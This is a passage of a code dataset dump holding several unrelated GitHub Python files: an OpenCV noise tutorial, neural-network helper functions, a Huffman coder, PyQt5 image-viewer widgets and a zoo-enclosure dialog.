class object.\".format(obj))\n return core.TestSuite(config, name=name)\n","repo_name":"kdart/pycopia3","sub_path":"QA/pycopia/QA/testloader.py","file_name":"testloader.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"10437094420","text":"# -*-coding:utf-8-*-\nimport cv2\nimport numpy as np\n\n\"\"\"\n高斯模糊/噪声\n轮廓还在,保留图像的主要特征\n高斯模糊比均值模糊去噪效果好\n\"\"\"\n\n\ndef clamp(pv):\n if pv > 255:\n return 255\n if pv < 0:\n return 0\n else:\n return pv\n\n\ndef gaussion_noise(image):\n h, w, c = image.shape\n for row in range(h):\n for col in range(w):\n s = np.random.normal(0, 20, 3)\n b = image[row, col, 0]\n g = image[row, col, 1]\n r = image[row, col, 2]\n image[row, col, 0] = clamp(b + s[0])\n image[row, col, 1] = clamp(g + s[1])\n image[row, col, 2] = clamp(r + s[2])\n cv2.imshow(\"noise image\", image)\n\n\nif __name__ == \"__main__\":\n src = cv2.imread(\"test.jpg\") # blue green red\n cv2.namedWindow(\"image\", cv2.WINDOW_AUTOSIZE)\n cv2.imshow(\"image\", src)\n print(src)\n gaussion_noise(src)\n # 若ksize不为(0, 0),则按照ksize计算,后面的sigmaX没有意义。若ksize为(0, 0),则根据后面的sigmaX计算ksize\n gaussian = cv2.GaussianBlur(src, (5, 5), 0) # 高斯模糊\n cv2.imshow(\"gaussian\", gaussian)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","repo_name":"whyJoe/TBAnalysis","sub_path":"数据分析/OpenCVStudy/tutorial_7.py","file_name":"tutorial_7.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7103272356","text":"from math import sqrt\nfrom time import time\nfrom datetime import time as time_type\nimport numpy as np\nimport colorsys\nimport random\nfrom copy import copy\nimport csv\nfrom tensorflow_core.python.keras.models import Model\nfrom tensorflow_core.python.data import Dataset\n\nfrom .CoreStatistics import CoreStatistics\n\n\ndef to_classes(list_of_bit_vectors):\n return [to_class(b) for b in list_of_bit_vectors]\n\n\ndef to_class(bit_vector):\n return np.where(bit_vector == 1)[0][0]\n\n\ndef to_dataset(x_train, y_train, batch_size):\n return Dataset.from_tensor_slices((x_train, y_train)).batch(batch_size)\n\n\ndef ratio(part, total):\n try:\n return part / total * 100\n except ZeroDivisionError:\n return 100.0\n except TypeError:\n return \"?\"\n\n\ndef extend(strings):\n n = max(len(s) for s in strings)\n return (s.rjust(n) for s in strings)\n\n\ndef get_rgb_colors(n):\n if n == 2:\n # special options for binary case\n return [(0.33, 0.42, 0.2), (0.96, 0.52, 0.26)] # orange/green\n # return [(1., 0., 0.), (0, .4, .6)] # red/blue\n\n # based on https://stackoverflow.com/a/876872\n hsv_tuples = [(x * 1.0 / n, 0.8, 1) for x in range(n)]\n rgb_colors = [colorsys.hsv_to_rgb(*x) for x in hsv_tuples]\n rgb_colors_shuffled = []\n step = int(sqrt(n))\n i = 0\n while i < step:\n for j in range(step):\n rgb_colors_shuffled.append(rgb_colors[i + j * step])\n i += 1\n rgb_colors_shuffled.extend(rgb_colors[i+(step-1)*step:])\n return rgb_colors_shuffled\n\n\ndef get_markers(n_classes):\n all_markers = [\"o\", \"s\", \"^\", \"*\", \"p\", \"X\", \"D\", \"2\", \".\", \"<\", \">\", \"v\"]\n if n_classes > len(all_markers):\n markers = copy(all_markers)\n while n_classes > len(markers):\n markers.extend(markers)\n else:\n markers = all_markers\n return markers[:n_classes]\n\n\ndef set_random_seed(n):\n print(\"Setting random seed to\", n)\n random.seed(n)\n np.random.seed(n)\n\n\ndef get_image_shape(images):\n return images.shape[1:4]\n\n\ndef categoricals2numbers(categorical_vectors):\n \"\"\"convert categorical vectors to numbers\"\"\"\n return [categorical2number(categorical_vector) for categorical_vector in categorical_vectors]\n\n\ndef categorical2number(categorical_vector):\n \"\"\"convert categorical vector to number\"\"\"\n return np.where(categorical_vector == 1)[0][0]\n\n\ndef number_of_classes(classes):\n m = max(classes) + 1\n l = len(classes)\n return max(m, l)\n\n\ndef number_of_model_classes(model):\n return model.layers[-1].output_shape[1]\n\n\ndef rate_fraction(num, den):\n if den == 0:\n return 0 # convention: return 0\n return num/den\n\n\ndef obtain_predictions(model, data, layers=None, ignore_misclassifications: bool = False):\n delta_t = time()\n if layers is None:\n values = model.predict(data.x())\n result = to_classifications(values)\n else:\n if ignore_misclassifications:\n # compare classes to ground truths\n classes, _ = obtain_predictions(model, data)\n filter = []\n for i, (p, gt) in enumerate(zip(classes, data.ground_truths())):\n if p == gt:\n filter.append(i)\n data.filter(filter)\n layer2values = dict()\n for layer_index in layers:\n try:\n manual_model = model.is_manual_model()\n except:\n manual_model = False\n if manual_model:\n result = model.predict(data.x(), layer_index)\n else:\n # construct pruned model following\n # https://keras.io/getting-started/faq/#how-can-i-obtain-the-output-of-an-intermediate-layer\n model_until_layer = Model(inputs=model.input, outputs=model.layers[layer_index].output)\n result = model_until_layer.predict(data.x())\n layer2values[layer_index] = result\n result = layer2values\n timer = time() - delta_t\n\n return result, timer\n\n\ndef to_classifications(list_of_predictions):\n return [to_classification(p) for p in list_of_predictions]\n\n\ndef to_classification(prediction):\n return np.argmax(prediction)\n\n\ndef filter_labels(all_labels, all_classes):\n if len(all_classes) < len(all_labels):\n return [all_labels[i] for i in range(max(all_classes) + 1)]\n else:\n return all_labels\n\n\ndef normalize_layer(model, raw_layer):\n layer_index = None\n if isinstance(raw_layer, str):\n # search for layer in the model\n for idx, layer in enumerate(model.layers):\n if layer.name == raw_layer:\n layer_index = idx\n break\n elif isinstance(raw_layer, int):\n if raw_layer < 0:\n layer_index = len(model.layers) + raw_layer\n assert layer_index >= 0, \"Negative layer indices should be such that their absolute value is smaller \" + \\\n \"than the number of layers.\"\n else:\n layer_index = raw_layer\n assert layer_index < len(model.layers), \"Layer index exceeds the number of layers.\"\n else:\n raise (ValueError(\"A layer needs to be a string or an integer, but got \", raw_layer))\n\n if layer_index is None:\n raise (ValueError(\"Could not find layer\", raw_layer))\n\n return layer_index\n\n\ndef float_printer(timer):\n if isinstance(timer, time_type):\n f = timer.second + timer.microsecond / 1000000\n else:\n assert isinstance(timer, int) or isinstance(timer, float)\n f = timer\n if f < 1e-2:\n if f == 0:\n return \"0.00\"\n return \"< 0.01\"\n return \"{:.2f}\".format(f)\n\n\ndef uniform_bins(n: int, max=1.0):\n step = max / float(n)\n return [i * step for i in range(n + 1)]\n\n\ndef determine_zero_filters(values: dict, data, n_neurons, layer=None):\n class2nonzeros = dict()\n for class_id in data.classes:\n class2nonzeros[class_id] = [0 for _ in range(n_neurons)]\n for vj, gt in zip(values, data.ground_truths()):\n for i, vi in enumerate(vj):\n if vi > 0:\n class2nonzeros[gt][i] += 1\n # create mask of all dimensions with entry 'True' whenever there is at least one non-zero entry\n class2nonzero_mask = dict()\n for class_id, nonzeros in class2nonzeros.items():\n nonzero_mask = []\n n_zeros = 0\n for i, nzi in enumerate(nonzeros):\n if nzi > 0:\n nonzero_mask.append(True)\n else:\n nonzero_mask.append(False)\n n_zeros += 1\n class2nonzero_mask[class_id] = nonzero_mask\n if layer is not None:\n print(\"filtering zeros removes {:d}/{:d} dimensions from layer {:d} for class {:d}\".format(\n n_zeros, n_neurons, layer, class_id))\n return class2nonzero_mask\n\n\ndef classes2string(classes):\n if classes == [k for k in range(len(classes))]:\n # short version for consecutive classes\n return \"0-{:d}\".format(len(classes) - 1)\n else:\n # long version with enumeration of all classes\n comma = \"\"\n string = \"\"\n for c in classes:\n string += comma + str(c)\n comma = \",\"\n return string\n\n\ndef store_core_statistics(storages, name, filename_prefix=\"results\"):\n if isinstance(name, str):\n filename = \"{}-{}.csv\".format(filename_prefix, name)\n _store_core_statistics_helper(filename, storages)\n else:\n assert isinstance(name, list)\n for storages_alpha, alpha in zip(storages, name):\n filename = \"{}-at{}.csv\".format(filename_prefix, int(alpha * 100))\n _store_core_statistics_helper(filename, storages_alpha)\n\n\ndef _store_core_statistics_helper(filename, storages):\n with open(filename, \"w\", newline=\"\") as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(CoreStatistics.row_header())\n for storage in storages:\n writer.writerow(storage.as_row())\n\n\ndef load_core_statistics(name, filename_prefix=\"results\"):\n if isinstance(name, str):\n filename = \"{}-{}.csv\".format(filename_prefix, name)\n storages = _load_core_statistics_helper(filename)\n return storages\n else:\n assert isinstance(name, list)\n storages_all = []\n for alpha in name:\n filename = \"{}-at{}.csv\".format(filename_prefix, int(alpha * 100))\n storages = _load_core_statistics_helper(filename)\n storages_all.append(storages)\n return storages_all\n\n\ndef _load_core_statistics_helper(filename):\n storages = []\n with open(filename) as f:\n reader = csv.reader(f)\n header = next(reader)\n for row in reader:\n cs = CoreStatistics.parse(row)\n storages.append(cs)\n return storages\n\n\ndef number_of_hidden_layers(model):\n return len(model.layers) - 2\n\n\ndef number_of_hidden_neurons(model):\n n = 0\n for layer_idx in range(1, len(model.layers) - 1):\n layer = model.layers[layer_idx]\n prod = 1\n for j in range(1, len(layer.output_shape)):\n prod *= layer.output_shape[j]\n n += prod\n return n\n","repo_name":"VeriXAI/Outside-the-Box","sub_path":"utils/Helpers.py","file_name":"Helpers.py","file_ext":"py","file_size_in_byte":9129,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"72361792241","text":"import sys\r\n\r\nclass Node:\r\n def __init__(self,key=None,frequency=0,leftChild=None,rightChild=None,parent=None,code=None,depth=0):\r\n self.key=key\r\n self.frequency=frequency\r\n self.leftChild=leftChild\r\n self.rightChild=rightChild\r\n self.parent=parent\r\n self.code=code\r\n\r\n def add_leftChild(self,other):\r\n self.leftChild=other\r\n other.parent=self\r\n\r\n def add_rightChild(self,other):\r\n self.rightChild=other\r\n other.parent=self\r\n\r\ndef smaller_freq(tree1,tree2):\r\n if tree1.frequency<=tree2.frequency:\r\n return tree1\r\n else:\r\n return tree2\r\n \r\n\r\ndef combine(tree1,tree2):\r\n new_parent=Node(frequency=tree1.frequency+tree2.frequency)\r\n smaller_tree=smaller_freq(tree1,tree2)\r\n if smaller_tree==tree1:\r\n new_parent.add_leftChild(smaller_tree)\r\n new_parent.add_rightChild(tree2)\r\n if smaller_tree==tree2:\r\n new_parent.add_leftChild(smaller_tree)\r\n new_parent.add_rightChild(tree1)\r\n return new_parent\r\n\r\ndef extract_min(tree_list):\r\n frequency_list=[a.frequency for a in tree_list]\r\n smallest=min(frequency_list)\r\n index=frequency_list.index(smallest)\r\n return tree_list.pop(index)\r\n\r\n\r\ndef build_tree(Q):\r\n while len(Q)>1:\r\n v=extract_min(Q)\r\n w=extract_min(Q)\r\n Q.append(combine(v,w))\r\n return extract_min(Q)\r\n\r\n\r\ndef create_graph(tree):\r\n L=[tree]\r\n graph=[]\r\n while L!=[]:\r\n v=L.pop()\r\n if v==None:\r\n continue\r\n else:\r\n graph.append(v)\r\n L.append(v.leftChild)\r\n L.append(v.rightChild)\r\n\r\n new_graph=[v for v in graph if v.key!=None]\r\n return new_graph\r\n \r\n \r\ndef get_depth_and_code(graph,key):\r\n for v in graph:\r\n if v.key==key:\r\n current=v\r\n break\r\n node=current\r\n code=[]\r\n depth=0\r\n while current.parent!=None:\r\n current_parent=current.parent\r\n depth+=1\r\n if current.parent.leftChild==current:\r\n code.append('0')\r\n current=current.parent\r\n continue\r\n if current.parent.rightChild==current:\r\n code.append('1')\r\n current=current.parent\r\n continue\r\n code.reverse()\r\n node.code=''.join(code)\r\n node.depth=depth\r\n\r\n\r\ndef analyze_string(word):\r\n characters=[]\r\n frequency=[]\r\n for char in word:\r\n if char not in characters:\r\n characters.append(char)\r\n for char in characters:\r\n frequency.append(word.count(char))\r\n return dict(zip(characters,frequency))\r\n\r\ndef encode(graph,word):\r\n for node in graph:\r\n word=word.replace(node.key,node.code)\r\n return word\r\n \r\n\r\ndef huffman(word):\r\n assert len(word)>=2 and len(set([char for char in word]))!=1, 'Word must be at least 2 characters long and contain at least 2 distinct characters!'\r\n characters_frequency=analyze_string(word)\r\n queue=[]\r\n for char in characters_frequency.keys():\r\n queue.append(Node(char,characters_frequency[char]))\r\n tree=build_tree(queue)\r\n graph=create_graph(tree)\r\n for key in characters_frequency.keys():\r\n get_depth_and_code(graph,key)\r\n cost=0\r\n for node in graph:\r\n cost+=node.frequency*node.depth\r\n encoded=encode(graph,word)\r\n graph.sort(key=lambda x: x.key)\r\n print('The word\\n\\n{}\\n\\nhas been encoded to\\n\\n{}\\n\\nThe encoded word has optimal cost {}\\n\\nThe following Huffman code was used\\n\\n'.format(word,encoded,str(cost)))\r\n for g in graph:\r\n print('{} : {}\\n'.format(g.key,g.code))\r\n print('\\nEncoding done, have a nice day! :)')\r\n\r\n\r\n\r\n\r\nprint('Huffman Coding')\r\nprint('\\u00a9 Dimas Fakhri Arsaputra 2020\\n')\r\ntry:\r\n if sys.argv[1].upper()=='HELP':\r\n print('If you want to encode a clause, type the following:\\n')\r\n print('python3 huffman.py ENCODE \\n')\r\n print('Note that you only need to \" \" if the clause contains more than 2 words (i.e. at least one empty space)')\r\n if sys.argv[1].upper()=='ENCODE':\r\n try:\r\n huffman(sys.argv[2])\r\n except IndexError:\r\n print('Argument missing!')\r\n if sys.argv[1].upper()!='HELP' and sys.argv[1].upper()!='ENCODE':\r\n print('Command not found')\r\nexcept IndexError:\r\n print('Type HELP after huffman.py for help!')\r\n\r\n \r\n'''\r\n#Test Instances\r\nstring1='hehe'\r\nstring2='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcbbccbaaaaacbcbcbcbcbcbcbcbcbdededededaaaaaedededededddddddfffff'\r\n'''\r\n \r\n \r\n\r\n \r\n","repo_name":"arsaputra/huffman-coding","sub_path":"huffman.py","file_name":"huffman.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36753792052","text":"import json\n\n\ndef read_json(path):\n with open(path) as f:\n return json.loads(f.read())\n\n\ndef sort_beam_by(beams, k1, k2=None):\n sorted_dict = {}\n for beam in beams:\n key = beam[k1]\n if k2 is not None:\n key += ' ' + beam[k2]\n if key not in list(sorted_dict.keys()):\n sorted_dict[key] = [beam['id']]\n else:\n sorted_dict[key].append(beam['id'])\n return sorted_dict\n\n\ndef lerp(Y1, Y2, X1, X2, X):\n return Y1 + (X - X1) * ((Y2 - Y1) / (X2 - X1))","repo_name":"Fitiantsoa/Osup","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74085804721","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys, os\nfrom PyQt5 import QtGui, QtCore, QtWidgets\nimport numpy as np\nimport cv2\nfrom PyQt5.QtWidgets import QWidget, QDesktopWidget, QApplication\nfrom PyQtStyle import *\n\n\nclass PhotoViewer(QtWidgets.QGraphicsView):\n photoClicked = QtCore.pyqtSignal(QtCore.QPoint)\n\n def __init__(self, parent):\n super(PhotoViewer, self).__init__(parent)\n self._zoom = 0\n self._empty = True\n self._scene = QtWidgets.QGraphicsScene(self)\n self._photo = PixmapWithDrop(self, parent.loadImage)\n\n self._scene.addItem(self._photo)\n self.parent = parent\n self.setScene(self._scene)\n self.setTransformationAnchor(QtWidgets.QGraphicsView.AnchorUnderMouse)\n self.setResizeAnchor(QtWidgets.QGraphicsView.AnchorUnderMouse)\n self.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n self.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n self.setBackgroundBrush(QtGui.QBrush(QtGui.QColor(10, 10, 10)))\n self.setFrameShape(QtWidgets.QFrame.NoFrame)\n\n self.draw_x0, self.draw_y0, self.draw_x1, self.draw_y1 = 0, 0, 0, 0\n self.isDrawing = False\n self.mode = 0 # 0-view, 1-draw rectangle, 2-draw add mask, 3-draw remove mask\n self.tempmode = 0\n self.spaceFlag = False\n\n self.parent.setAcceptDrops(True)\n\n def dragEnterEvent(event):\n if event.mimeData().hasUrls:\n event.accept()\n else:\n event.ingore()\n\n def dropEvent(event):\n for url in event.mimeData().urls():\n self.parent.loadImage(url.toLocalFile())\n break\n\n self.parent.dragEnterEvent = dragEnterEvent\n self.parent.dropEvent = dropEvent\n\n def hasPhoto(self):\n return not self._empty\n\n def fitInView(self, scale=True):\n rect = QtCore.QRectF(self._photo.pixmap().rect())\n if not rect.isNull():\n self.setSceneRect(rect)\n if self.hasPhoto():\n unity = self.transform().mapRect(QtCore.QRectF(0, 0, 1, 1))\n self.scale(1 / unity.width(), 1 / unity.height())\n viewrect = self.viewport().rect()\n scenerect = self.transform().mapRect(rect)\n factor = min(viewrect.width() / scenerect.width(),\n viewrect.height() / scenerect.height())\n self.scale(factor, factor)\n self._zoom = 0\n\n def getSelectBrushSize(self):\n if self.hasPhoto():\n rect = QtCore.QRectF(self._photo.pixmap().rect())\n scenerect = self.transform().mapRect(rect)\n factor = self._photo.pixmap().width() / scenerect.width()\n if factor < 1:\n return 1\n else:\n return int(round(factor))\n else:\n return 1\n\n def setPhoto(self, pixmap=None):\n self._empty = False\n self._photo.setPixmap(pixmap)\n\n def wheelEvent(self, event):\n if self.hasPhoto() and self.mode in [-1, 0]:\n if event.angleDelta().y() > 0:\n factor = 1.25\n self._zoom += 1\n else:\n factor = 0.8\n self._zoom -= 1\n if self._zoom > 0:\n self.scale(factor, factor)\n elif self._zoom <= 0:\n self.fitInView()\n\n def toggleDragMode(self):\n if self.dragMode() == QtWidgets.QGraphicsView.ScrollHandDrag:\n self.setDragMode(QtWidgets.QGraphicsView.NoDrag)\n elif not self._photo.pixmap().isNull():\n self.setDragMode(QtWidgets.QGraphicsView.ScrollHandDrag)\n\n def keyPressEvent(self, event):\n key = event.key()\n if key == 32 and self.spaceFlag == False and self.isDrawing == False and not event.isAutoRepeat():\n if self.mode not in [0, -64]:\n self.setDragMode(QtWidgets.QGraphicsView.ScrollHandDrag)\n self.tempmode = self.mode\n self.mode = -1\n self.parent.crosshairCursor(False)\n self.spaceFlag = True\n else:\n super().keyPressEvent(event)\n\n def keyReleaseEvent(self, event):\n key = event.key()\n if key == 32 and self.spaceFlag == True and self.isDrawing == False and not event.isAutoRepeat():\n if self.mode == -1:\n self.mode = self.tempmode\n self.setDragMode(QtWidgets.QGraphicsView.NoDrag)\n self.parent.crosshairCursor(True)\n self.spaceFlag = False\n else:\n super().keyReleaseEvent(event)\n\n def mousePressEvent(self, event):\n point = self.mapToScene(event.pos()).toPoint()\n if self.mode in [0, -1]:\n self.photoClicked.emit(point)\n super(PhotoViewer, self).mousePressEvent(event)\n elif self.mode in [1, 2, 3]:\n self.draw_x0, self.draw_y0 = point.x(), point.y()\n self.draw_x1, self.draw_y1 = point.x(), point.y()\n self.isDrawing = True\n self.parent.newMaskCanvas()\n self.parent.drawMaskCanvas(self.draw_x1, self.draw_y1, point.x(), point.y(), self.draw_x0, self.draw_y0,\n self.mode)\n elif self.mode in [4, 5, 6] and self._photo.isUnderMouse():\n self.parent.setMagicWand(point.x(), point.y())\n elif self.mode in [7, 8]:\n self.isDrawing = True\n self.parent.setCommonSelect(point.x(), point.y())\n elif self.mode == 9:\n self.isDrawing = True\n self.parent.startInpaint(point.x(), point.y())\n elif self.mode == 10 and self._photo.isUnderMouse():\n self.parent.setColorRange(point.x(), point.y())\n\n def mouseMoveEvent(self, event):\n if self.mode in [0, -1]:\n super(PhotoViewer, self).mouseMoveEvent(event)\n elif self.isDrawing:\n point = self.mapToScene(event.pos()).toPoint()\n self.parent.drawMaskCanvas(self.draw_x1, self.draw_y1, point.x(), point.y(), self.draw_x0, self.draw_y0,\n self.mode)\n self.draw_x1, self.draw_y1 = point.x(), point.y()\n\n def mouseReleaseEvent(self, event):\n if self.mode in [0, -1]:\n super(PhotoViewer, self).mouseReleaseEvent(event)\n elif self.isDrawing:\n self.isDrawing = False\n point = self.mapToScene(event.pos()).toPoint()\n self.draw_x1, self.draw_y1 = point.x(), point.y()\n self.parent.showDrawMask(self.draw_x1, self.draw_y1, point.x(), point.y(), self.draw_x0, self.draw_y0,\n self.mode)\n\n def startDrawing(self, mode=1):\n self.mode = mode\n if self.dragMode() == QtWidgets.QGraphicsView.ScrollHandDrag:\n self.setDragMode(QtWidgets.QGraphicsView.NoDrag)\n\n def stopDrawing(self):\n self.mode = 0\n if not self._photo.pixmap().isNull():\n self.setDragMode(QtWidgets.QGraphicsView.ScrollHandDrag)\n\n def getPixmap(self):\n return self._photo.pixmap()\n\n\nclass PixmapWithDrop(QtWidgets.QGraphicsPixmapItem):\n def __init__(self, parent, fileEvent=None):\n super(PixmapWithDrop, self).__init__()\n self.parent = parent\n self.setAcceptDrops(True)\n self.fileEvent = fileEvent\n self.setTransformationMode(1)\n self.setShapeMode(1) # For Drop Event\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls:\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, event):\n for url in event.mimeData().urls():\n if self.fileEvent is not None:\n self.fileEvent(url.toLocalFile())\n break\n\n\ndef genSlider(window, slName=\"mySlider\", minv=0, maxv=100, stepv=1, value=0, releaseEvent=None, changeEvent=None,\n sl_type=0):\n slider = QtWidgets.QSlider(window)\n label_minimum = QtWidgets.QLabel(alignment=QtCore.Qt.AlignLeft)\n label_maximum = QtWidgets.QLabel(alignment=QtCore.Qt.AlignRight)\n label_name = QtWidgets.QLabel(alignment=QtCore.Qt.AlignCenter)\n label_minimum.setNum(minv)\n label_maximum.setNum(maxv)\n label_name.setText(slName)\n label_minimum.setProperty(\"fontset\", 0)\n label_maximum.setProperty(\"fontset\", 0)\n label_name.setProperty(\"fontset\", 1)\n\n slider.setOrientation(QtCore.Qt.Horizontal)\n slider.resize(400, 100)\n slider.setMinimum(minv)\n slider.setMaximum(maxv)\n slider.setSingleStep(stepv)\n slider.setValue(value)\n\n if sl_type == 1:\n slider.setStyleSheet(sliderStyle1)\n elif sl_type == 2:\n slider.setStyleSheet(sliderStyle2)\n elif sl_type == 3:\n slider.setStyleSheet(sliderStyle3)\n elif sl_type == 4:\n slider.setStyleSheet(sliderStyle4)\n elif sl_type == 5:\n slider.setStyleSheet(sliderStyle5)\n else:\n slider.setStyleSheet(sliderStyleDefault)\n\n def nullEvent(*args):\n pass\n\n slider.keyPressEvent = nullEvent\n slider.wheelEvent = nullEvent\n slider.dragMoveEvent = nullEvent\n slider.setFocusPolicy(QtCore.Qt.NoFocus)\n\n if releaseEvent is not None:\n slider.sliderReleased.connect(releaseEvent)\n\n if changeEvent is not None:\n slider.valueChanged.connect(changeEvent)\n\n def showValues():\n slider.setToolTip(slName + \": \" + str(slider.value()))\n\n slider.valueChanged.connect(showValues)\n\n sl_vbox = QtWidgets.QVBoxLayout()\n sl_hbox = QtWidgets.QHBoxLayout()\n sl_hbox.setAlignment(QtCore.Qt.AlignBottom)\n sl_hbox.addWidget(label_minimum)\n sl_hbox.addWidget(label_name)\n sl_hbox.addWidget(label_maximum)\n sl_vbox.addLayout(sl_hbox)\n sl_vbox.addWidget(slider)\n\n def setText(text=\"text\"):\n label_name.setText(text)\n\n def value():\n return slider.value()\n\n def setValue(input_value):\n slider.setValue(input_value)\n\n def close():\n label_minimum.close()\n label_maximum.close()\n label_name.close()\n slider.close()\n\n def show():\n label_minimum.show()\n label_maximum.show()\n label_name.show()\n slider.show()\n\n def reset(new_minv=0, new_maxv=100, new_stepv=1, new_value=0):\n slider.setMinimum(new_minv)\n slider.setMaximum(new_maxv)\n slider.setSingleStep(new_stepv)\n slider.setValue(new_value)\n label_minimum.setNum(new_minv)\n label_maximum.setNum(new_maxv)\n\n sl_vbox.value = value\n sl_vbox.setValue = setValue\n sl_vbox.setText = setText\n sl_vbox.reset = reset\n sl_vbox.close = close\n sl_vbox.show = show\n showValues()\n\n return sl_vbox\n\n\ndef genLabel(window, content=\"No Content\", fonttype=2):\n label = QtWidgets.QLabel(content, window)\n label.setAlignment(QtCore.Qt.AlignCenter | QtCore.Qt.AlignBottom)\n label.setProperty(\"fontset\", fonttype)\n return label\n\n\ndef genButton(window, text=\"\", press_event=None, release_event=None, shortcut=None, style=1, tooltip=None):\n btn = QtWidgets.QPushButton(window)\n btn.setText(text)\n btn.setFocusPolicy(QtCore.Qt.NoFocus)\n if press_event is not None:\n btn.pressed.connect(press_event)\n if release_event is not None:\n btn.released.connect(release_event)\n if shortcut is not None:\n btn.setShortcut(QtGui.QKeySequence(shortcut))\n\n if style == 2:\n btn.setStyleSheet(pushButtonStyle2)\n elif style == 3:\n btn.setStyleSheet(pushButtonStyle3)\n elif style == 4:\n btn.setStyleSheet(pushButtonStyle4)\n elif style == 5:\n btn.setStyleSheet(pushButtonStyle5)\n elif style == 6:\n btn.setStyleSheet(pushButtonStyle6)\n else:\n btn.setStyleSheet(pushButtonStyle1)\n\n btn.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\n if tooltip is None and shortcut is not None:\n if shortcut == \"Return\":\n shortcut = \"Enter\"\n elif shortcut == \"Escape\":\n shortcut = \"Esc\"\n btn.setToolTip(text + \": (\" + shortcut + \")\")\n return btn\n\n\ndef genHist(window):\n hist_view = QtWidgets.QLabel(window)\n hist_view.resize(150, 80)\n return hist_view\n\n\ndef cv2qtPhoto(img):\n if len(img.shape) == 3:\n if img.shape[2] == 4:\n qformat = QtGui.QImage.Format_RGBA8888\n else:\n qformat = QtGui.QImage.Format_RGB888\n img = QtGui.QImage(img.data,\n img.shape[1],\n img.shape[0],\n img.strides[0],\n qformat)\n img = img.rgbSwapped()\n return QtGui.QPixmap.fromImage(img)\n\n\ndef qtpix2cv(qpixmap):\n \"\"\"\n Converts a QPixmap into an opencv MAT format\n \"\"\"\n qimg = qpixmap.toImage().convertToFormat(4)\n width, height = qimg.width(), qimg.height()\n ptr = qimg.bits()\n ptr.setsize(qimg.byteCount())\n arr = np.array(ptr).reshape((height, width, 4)) # Copies the data\n return arr\n\n\ndef setWindowIcons(app):\n app_icon = QtGui.QIcon()\n logopath = r\"GUI/Image/\"\n app_icon.addFile(logopath + 'Logo_Desktop_16x16.ico', QtCore.QSize(16, 16))\n app_icon.addFile(logopath + 'Logo_Desktop_24x24.ico', QtCore.QSize(24, 24))\n app_icon.addFile(logopath + 'Logo_Desktop_32x32.ico', QtCore.QSize(32, 32))\n app_icon.addFile(logopath + 'Logo_Desktop_48x48.ico', QtCore.QSize(48, 48))\n app_icon.addFile(logopath + 'Logo_Desktop_128x128.ico', QtCore.QSize(128, 128))\n app_icon.addFile(logopath + 'Logo_Desktop_256x256.ico', QtCore.QSize(256, 256))\n app.setWindowIcon(app_icon)\n","repo_name":"FerryYoungFan/FanselineImageToolbox","sub_path":"Source Code/PyQtWheels.py","file_name":"PyQtWheels.py","file_ext":"py","file_size_in_byte":13571,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"75"} +{"seq_id":"29932670213","text":"# Importer la librairie QtWidgets de QtDesigner.\nfrom PyQt5 import QtWidgets\n# Pour le gestionnaire d'événement\nfrom PyQt5.QtCore import pyqtSlot\n# Importer l'interface de la page enclos\nimport interface_enclos\n# importation des classes et liste necessaire\nfrom reptile import *\nfrom liste_globale import lst_enclos\n#######################################\n###### DÉFINITIONS DES FONCTIONS ######\n#######################################\ndef verifier_enclos_liste(p_num):\n \"\"\"\n Vérifie si l'enclos existe dans la liste des enclos\n :param p_num: le numéro de l'enclos\n :return: True si l'enclos est trouvé dans la liste des enclos et False sinon\n \"\"\"\n for elt in lst_enclos:\n if elt.Num_enclos == p_num.capitalize():\n return True\n return False\n\ndef cacher_labels_erreur_poisson(objet):\n \"\"\"\n Cacher les différents labels d'erreur dans pop up poisson\n \"\"\"\n objet.MS_e_num_format_e.setVisible(False)\n objet.MS_e_num_existant_e.setVisible(False)\n objet.MS_e_num_inex.setVisible(False)\n\n######################################################\n###### DÉFINITIONS DE LA CLASSE Fenetrelistview ######\n######################################################\nclass Fenetre_enclos(QtWidgets.QDialog, interface_enclos.Ui_Dialog):\n def __init__(self, parent=None):\n super(Fenetre_enclos, self).__init__(parent)\n self.setupUi(self)\n self.setWindowTitle(\"enclos\")\n # Cacher les labels qui affichent les différentes erreurs\n cacher_labels_erreur_poisson(self)\n # afficher les enclos deja creer dansle text browser\n for e in lst_enclos:\n self.textBrowser_e.append(e.__str__())\n # Spacer pour que ce sois plus claire\n self.textBrowser_e.append(\"\")\n\n @pyqtSlot() # Bouton pour quitter la page enclos\n def on_BT_quitter_e_clicked(self):\n self.close()\n\n @pyqtSlot()\n # Bouton Creer un enclos\n def on_BT_ajouter_enclos_clicked(self):\n \"\"\"\n Gestionnaire d'évènement pour le bouton Creer des enclos\n \"\"\"\n # Instancier un objet Enclos\n en = Enclos()\n # Entrée de donnée pour les attributs de l'objet Enclos\n en.Num_enclos = self.line_num_e.text().capitalize()\n en.Type_enclos = self.CB_type_enclos_e.currentText()\n en.Emplacement = self.CB_emplacement_e.currentText()\n # True/False qui nous informe si num d'enclos existe ou pas dans liste des enclos\n verifier_enclos = verifier_enclos_liste(en.Num_enclos)\n # Si num d'enclos valide mais existe déjà dans la liste enclos, on ajoute pas\n if verifier_enclos is True:\n self.line_num_e.clear()\n self.MS_e_num_existant_e.setVisible(True)\n if en.Num_enclos == \"\": # Si le num d'enclos est invalide, effacer lineEdit et afficher message d'erreur\n self.line_num_e.clear()\n self.MS_e_num_format_e.setVisible(True)\n\n if en.Num_enclos != \"\" and verifier_enclos 